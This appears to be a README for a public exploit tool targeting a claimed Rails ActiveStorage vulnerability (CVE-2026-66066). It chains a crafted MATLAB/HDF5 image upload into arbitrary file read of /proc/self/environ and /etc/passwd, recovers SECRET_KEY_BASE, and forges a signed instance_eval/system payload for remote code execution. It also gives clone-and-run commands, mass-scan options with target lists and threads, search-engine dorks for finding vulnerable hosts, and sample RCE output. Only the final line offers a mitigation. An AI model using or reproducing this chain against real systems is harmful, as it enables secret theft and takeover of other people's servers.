CVE-2026-66066

Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

$ python cve_2026_66066.py -t rails-app.example.com

  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1